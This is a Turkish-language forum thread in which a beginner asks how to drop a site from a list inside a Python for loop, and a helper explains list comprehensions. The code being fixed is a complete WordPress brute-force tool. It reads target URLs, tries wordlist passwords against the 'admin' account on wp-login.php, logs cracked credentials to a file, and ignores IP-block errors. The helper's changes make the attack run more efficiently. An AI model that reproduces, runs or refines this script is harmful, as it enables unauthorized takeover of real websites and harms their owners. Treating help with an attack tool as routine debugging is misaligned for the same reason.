For Döngüsünün İçinde Listedeki Şeyi Nasıl Silebilirim ?

İngilizceniz varsa, sorunu bir de stackoverflow’da paylaşın, belki sorunu çözebilecek bir cevap gelebilir.

Sorunumu Anlatacak Kadar İngilizcemin Pek Olduğunu Sanmıyorum Ama Oradada Paylaşmayı Deniyeceğim Sorunumu :slight_smile:

Belki remove’u kullanmak yerine şöyle bir şey yapabilirsiniz?

            ayikla = []

            for x in siteler:
                for i in sifreler:
                    try:

                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload,timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                            ayikla.append(x)
                            ayiklanmis = [i for i in siteler if i not in ayikla]

Sorunsuz Çalışıcaksa Olabilirde Hocam Tam Olarak Mantığı Anlatabilirmisiniz Okadar Üst Düzey Python Bilgim Yok Her Gün Yeni Proje Yapmaya Çalışarak birşeyler Öğreniyorum O Yüzden :slight_smile:

Yani demek istediğim şu:

ayikla isimli boş bir liste tanımlayın, şayet “Dashboard” veya “dashboard” r.text içindeyse, bu x sitesini ayikla isimli boş listeye ekleyin.

Daha sonra da ayiklanmis isimli yeni bir liste tanımlayın, bu listenin elemanları siteler listesinin elemanlarından oluşsun ancak bu siteler listesinin elemanı şayet ayikla listesinin de elemanıysa, ayiklanmis listesine bu eleman eklenmesin (ayiklanmis = [i for i in siteler if i not in ayikla]). Sonuç olarak sanki bu x sitesi, siteler listesinden silinmişcesine yeni listede yer almasın.

Anladım… Peki Direkt i for i in siteler yerine siteler yazsaydık olmazmıydı hocam ? kod karışıklılığı yerine

Bu i elemanı’nı ayikla isimli sitede olup olmadığını denetlemek için kullanıyoruz.
Yani bu üretecin Türkçesi şöyle olur: siteler içindeki elemanlardan, ayikla listesinin içinde olmayan her bir eleman, ayiklanmis listesinin öğesidir.

Bu Arada Anladığım Mantık Doğrumu Hocam:
ayiklanmiş=[i for i in siteler if not in ayikla] bölümünde ilk önce for döngüsü oluşturup sonra if ile teyit ettirip ayiklada yoksa işleme koysun varsa koymasın ve bu baştaki i sebebide for döngüsü yüzündenmi ?

Bu ifade bir liste üreteci ifadesidir. Yani bu şekilde listeler üretebilirsiniz.

Mesela;

x = [i for i in range(10) if i % 2 != 0]
# 0'dan 10'a kadar olan tek sayılardan oluşan liste.

Anladım… Baktığım Çoğu Kaynakta Böyle Bir Örnek Yoktu Garibime Geldi Oyüzden Sordum Teşekkür Ederim Hocam Deniyeyim Ve Sonucunu Atarım

Tamam, kolay gelsin.

Hocam Maalesef İşe Yaramadı Aynı Şekilde Devam Ediyor Silmiyor :slight_smile:

Bu arada, ayiklanmis listesini print() ediyorsunuz değil mi? Artık siteler listesiyle işiniz kalmıyor da. Yani ortada bir silme işlemi yok. Sadece koşul sağlandığında, koşulu sağlayan siteyi hariç tutarak yeni bir listeyi, siteler listesi yerine kullanmaya başlıyoruz.

Hocam ayiklanmis listesini print edersem direkt sitelerin olduğu listeyi veriyor ? i yi print etmeye çalışıncada unresolved reference diyor…

Peki bu ayiklanmis listesinin içinde, koşulu sağlayan site bulunuyor mu? Site listesine ait diğer elemanların ayiklanmis listesinin içinde bulunması beklenen bir durum. Koşulu sağlayan site bulunmamalı sadece.

Hocam Hatalı Şifrenin Bölümünde Deniyorum Ve Evet Koşulu Sağlayan Site Bulunuyor…

Hatalı şifrenin orada niye deniyorsunuz? Orası else ifadesine ait bir satır bloku. Aşağıdaki kodlara bir göz atın.

            ayikla = []

            for x in siteler:
                for i in sifreler:
                    try:

                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload,timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                            ayikla.append(x)
                            ayiklanmis = [i for i in siteler if i not in ayikla]
                            print(ayiklanmis)

Hocam Şifresi Doğru Olan Site Bulmak Zor Olucak Diye Öyle Deniyorum :slight_smile: Ve Anlamadığım Şey elsede Çalışmayan ifte nasıl çalışıyorki if i not in ayikla dediğimiz içinmi ?

ayikla listesine eleman ekleme işlemi if blokunun altında tanımlı. ayiklanmis listesi de o blokun altında tanımlanmış. Bir önceki mesajımdaki yazdığım kodu girintilemeye dikkat ederek çalıştırmayı denediniz mi?

Tüm kodlar:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
girisyapilansiteler=open("girisyapilansiteler.txt","w")
from Scripts.bruteforcewordlist import*
kullaniciadi="admin"
def bruteforce():
        soru=input("Default Şifrelerlemi Denemek İstiyorsunuz? E\H: ")
        if soru=="E" or soru=="e":

            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("Siteler Ekleniyor...")
            print("Siteler Eklendi!")
            ayikla = []

            for x in siteler:
                for i in sifreler:
                    try:

                        payload = {'log': kullaniciadi, 'pwd': i}
                        r = requests.post(x, data=payload,timeout=5)
                        if "Dashboard" in r.text or "dashboard" in r.text:
                            print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                            girisyapilansiteler.write("Siteler:\n"+"Kullanıcı Adı:"+" "+" "+"Sifreler:")
                            girisyapilansiteler.write("\n"+x+"admin"+" "+" "+i)
                            ayikla.append(x)
                            ayiklanmis = [i for i in siteler if i not in ayikla]
                            print(ayiklanmis)


                        else:
                            print("Hatalı Şifre!", x,i)
                            continue

                    except:
                        print("Hatalı Şifre Veya IP Blok Yendi.",x,i)
                        continue


        elif soru=="H" or soru=="h":
            siteler = []
            oku = open("siteler.txt", "r")
            sitelerioku = oku.readlines()
            sifrelerr = []
            dizin = input("Şifrelerin Olduğu Dizini Giriniz: ")
            sifrelerioku = open(dizin, "r")
            sifreoku = sifrelerioku.readlines()
            for i in sifreoku:
                sifrelerr.append(i.replace("\n", ""))
            for websiteleri in sitelerioku:
                siteler.append(websiteleri.replace("\n", "") + "wp-login.php")
            print("\nSiteler Ekleniyor...\n")
            print("Bütün Siteler Eklendi!\n")
            for x in siteler:
                for i in sifrelerr:
                    try:
                        payload = {'log': kullaniciadi, 'pwd': i}
                        r=requests.get(x,timeout=5)
                        if r.status_code==200 and "pwd" in r.text:
                            r = requests.post(x, data=payload, timeout=5)
                            if "Dashboard" in r.text or "dashboard" in r.text:
                                print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                                girisyapilansiteler.write("Siteler:\n" + "Kullanıcı Adı:" + " " + " " + "Sifreler:")
                                girisyapilansiteler.write("\n" + x + "admin" + " " + " " + i)
                            else:
                                print("Hatalı Şifre!", x, i)
                                continue
                        else:
                            print("Siteye Bağlanılamıyor. Veya IP Block Yendi.",x)


                    except:
                        continue
bruteforce()

Hocam yaptığınızın aynısını sadece elsede yaptım hocam ben onu soruyorum elsede niye çalışmadı ki ?